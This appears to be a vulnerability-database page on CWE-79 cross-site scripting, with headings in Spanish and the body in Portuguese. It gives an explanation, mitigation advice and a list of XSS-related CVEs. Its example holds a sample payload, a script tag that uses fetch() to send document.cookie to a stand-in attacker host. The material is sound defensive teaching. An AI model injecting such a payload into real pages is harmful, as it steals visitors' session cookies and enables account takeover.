Fallos del tipo CWE-79

28.647 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-20183—It was found in Moodle before version 3.10.1 that some search inputs were vulnerable to reflected XSS due to insufficient escaping of searchEPSS 0.8%CVE-2026-92985HIGHSiYuan before 3.8.4 Cross-Site Scripting via Bookmark LabelsEPSS 0.8%CVE-2026-92986HIGHSiYuan before 3.8.4 Cross-Site Scripting via Document TitleEPSS 0.8%CVE-2021-31851MEDIUMCross-Site Scripting vulnerability in Policy AuditorEPSS 0.8%CVE-2022-3144MEDIUMWordfence Security – Firewall & Malware Scan <= 7.6.0 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.8%CVE-2024-27914MEDIUMReflected Cross-Site Scripting (XSS) in search engine when debug mode is enabled in GLPIEPSS 0.8%CVE-2023-23921—Moodle: reflected xss risk in some returnurl parametersEPSS 0.8%CVE-2024-52770CRITICALAn arbitrary file upload vulnerability in the component /admin/file_manage_control of DedeBIZ v6.3.0 allows attackers to execute arbitrary cEPSS 0.8%CVE-2022-2092—WooCommerce PDF Invoices & Packing Slips < 2.16.0 - Reflected Cross-Site ScriptingEPSS 0.8%CVE-2024-56156MEDIUMHalo Vulnerable to Stored XSS and RCE via File Upload BypassEPSS 0.8%CVE-2022-0253HIGHCross-site Scripting (XSS) - Stored in livehelperchat/livehelperchatEPSS 0.8%CVE-2021-1395MEDIUMCisco Unified Intelligence Center Reflected Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2021-31852MEDIUMCross-Site Scripting vulnerability in Policy AuditorEPSS 0.8%CVE-2020-28210MEDIUMA CWE-79 Improper Neutralization of Input During Web Page Generation (Cross-site Scripting) vulnerability exists in EcoStruxure Building OpeEPSS 0.8%CVE-2022-25929MEDIUMCross-site Scripting (XSS)EPSS 0.8%CVE-2024-26521MEDIUMHTML Injection vulnerability in CE Phoenix v1.0.8.20 and before allows a remote attacker to execute arbitrary code, escalate privileges, andEPSS 0.8%CVE-2021-21541MEDIUMDell EMC iDRAC9 versions prior to 4.40.00.00 contain a DOM-based cross-site scripting vulnerability. A remote unauthenticated attacker couldEPSS 0.8%CVE-2021-1575MEDIUMCisco Virtualized Voice Browser Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2022-2022CRITICALCross-site Scripting (XSS) - Stored in nocodb/nocodbEPSS 0.8%CVE-2021-31848HIGHData Loss Prevention (DLP) ePO extension - Cross site scripting (XSS)EPSS 0.8%